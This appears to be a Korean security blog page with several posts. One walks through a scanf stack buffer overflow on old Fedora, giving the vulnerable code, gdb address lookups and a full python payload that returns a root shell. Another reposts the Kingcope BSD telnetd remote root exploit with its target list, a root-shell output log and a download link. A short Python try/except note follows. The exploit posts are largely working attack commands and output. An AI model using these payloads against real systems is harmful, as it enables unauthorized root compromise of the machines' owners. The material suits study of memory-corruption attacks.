Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-java-awt=gtk --host=i386-redhat-linux
Thread model: posix
gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)
[root@Fedora_1stFloor test]# 

취약한 코드 


[root@Fedora_1stFloor test]# cat scanf.c
#include<stdio.h>

int main(){
char buff[100];
scanf("%s",buff);
printf("%s",buff);
return 0;
}



공격은 가호 안살지만 간단한 테스트를 위해 심볼릭 링크를 이용하겠다. 


[root@Fedora_1stFloor test]# cat system.c

#include<stdio.h>


int main(){

system("/bin/sh");

return 0;

}

[root@Fedora_1stFloor test]# 



필요한 주소값들 조사.

0x080483e6 <main+74>: ret
 (gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb) p execve

$2 = {<text variable, no debug info>} 0x7a5490 <execve>




오버플로우 발생 확인 RET주소 덮여쓰여지는 것 확인 

[root@Fedora_1stFloor test]# ulimit -c 1000

[root@Fedora_1stFloor test]# (python -c 'print "A"*128')|./scanf

[root@Fedora_1stFloor test]# gdb -c core.13235 

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./scanf'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) 



공격 PAYLOAD 

[buffer 120byte ] [sfp = 4byte] [ret = 4byte] [argc ][argv]

AAAAA.....AAA   AAAA             &ret -> &ret -> &ret -> &ret  &system

                                             (정적인 주소까지 eip를 올린다)   

 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' )| strace -i  ./scanf

[007037a2] clone(sh: AAAA: command not found

child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfee68ee0) = 13255

[007037a2] waitpid(13255, [{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0) = 13255

[007037a2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0

[007037a2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0


[root@Fedora_1stFloor test]#

[root@Fedora_1stFloor test]# ln -s system AAAA 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' ;cat)|  ./scanf

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)


다들 scanf 쓰실때 버퍼 오버 플로우 조심하쎄요~ 





Posted by k1rha
2012. 7. 2. 23:02

http://www.exploit-db.com/exploits/19520/

This exploit was leaked on the Full Disclosure mailing list:
 
http://seclists.org/fulldisclosure/2012/Jun/404
 
 
BSD telnetd Remote Root Exploit *ZERODAY*
By Kingcope
Year 2011
 
usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d]
        [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s
src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name
[port]]
TARGETS:
0 FreeBSD 8.2 i386
1 FreeBSD 8.0/8.1/8.2 i386
2 FreeBSD 7.3/7.4 i386
3 FreeBSD 6.2/6.3/6.4 i386
4 FreeBSD 5.3/5.5 i386
5 FreeBSD 4.9/4.11 i386
6 NetBSD 5.0/5.1 i386
7 NetBSD 4.0 i386
8 FreeBSD 8.2 amd64
9 FreeBSD 8.0/8.1 amd64
10 FreeBSD 7.1/7.3/7.4 amd64
11 FreeBSD 7.1 amd64
12 FreeBSD 7.0 amd64
13 FreeBSD 6.4 amd64
14 FreeBSD 6.3 amd64
15 FreeBSD 6.2 amd64
16 FreeBSD 6.1 amd64
17 TESTING i386
18 TESTING amd64
Trying 192.168.2.8...
Connected to 192.168.2.8.
Escape character is '^]'.
Trying SRA secure login:
*** EXPLOITING REMOTE TELNETD
*** by Kingcope
*** Year 2011
USING TARGET -- FreeBSD 8.2 amd64
SC LEN: 30
ALEX-ALEX
 6:36PM  up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09
USER             TTY      FROM              LOGIN@  IDLE WHAT
kcope            pts/0    192.168.2.3       6:32PM     4 _su (csh)
FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17
02:41:51 UTC 2011
root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)


Exploit:  http://www.exploit-db.com/sploits/19520.zip
익스플로잇 다운 로드 


Free BSD 환경에서만 적용 

Posted by k1rha
2012. 7. 2. 09:25

try:
    request
= urllib2.Request( url=self.uri+url, headers=self.headers )
    r
= urllib2.urlopen(request)
    xml
= r.read()
   
return parseString( xml )
except urllib2.HTTPError as err:
    logger
.debug("EXCEPTION: %s" % err.read() )
파이썬에서 try catch 는 위와같이 써준다. 

Posted by k1rha
2012. 7. 2. 02:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 2. 01:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 22:05

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.